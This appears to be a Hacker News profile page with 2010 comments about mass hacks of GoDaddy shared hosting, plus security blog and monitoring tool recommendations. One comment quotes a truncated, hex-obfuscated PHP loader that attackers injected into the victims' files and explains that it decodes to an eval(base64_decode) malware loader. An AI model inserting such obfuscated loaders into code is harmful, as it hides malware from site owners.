fseek
Joined 16 years ago
Karma
448
Submissions
33
Member since
Feb 13
http://fseek.me
View on Hacker NewsRecent submissions
Comment · 16 years ago
Another one of those "mass" attacks on GoDaddy started today.
The blog doesn't give any numbers, but it seems that a few of their shared servers were compromised, so a few thousand of sites at least.
One of my clients still host in there and her files were all modified around 1pm today.
What I find unusual is the kind of code added to all PHP files:
" $_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f.. \x6e";$_8b7b1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";.. $_8b7b1f56=$_8b7b("",$_8b7b1f("aWYoZnVuY.. "
If you decode that, it is an encoded "eval(base64_decode" to load the malware as hidden as possible.
Comment · 16 years ago
Their blog is pretty good: http://blog.sucuri.net.
I also like: http://taosecurity.blogspot.com and http://scheneier.com
Comment · 16 years ago
For security monitoring: OSSEC (open source at ossec.net) and http://sucuri.net (paid external mon)
Comment · 16 years ago
Duplicated of this one I sent hours ago, but didn't get much love:
Comment · 16 years ago
What a way to kill bit.ly and others....
Comment · 16 years ago
I am definitely moving away from GoDaddy. I had some small sites on their shared servers that just got hacked again..
If you are not following, this is the 3rd mass hack at godaddy in just a few weeks:
http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with... http://blog.sucuri.net/2010/05/found-code-used-to-inject-mal...
Comment · 16 years ago
Avoid Wordpress and shared hosts. They mention that all the sites hacked were on shared hosts.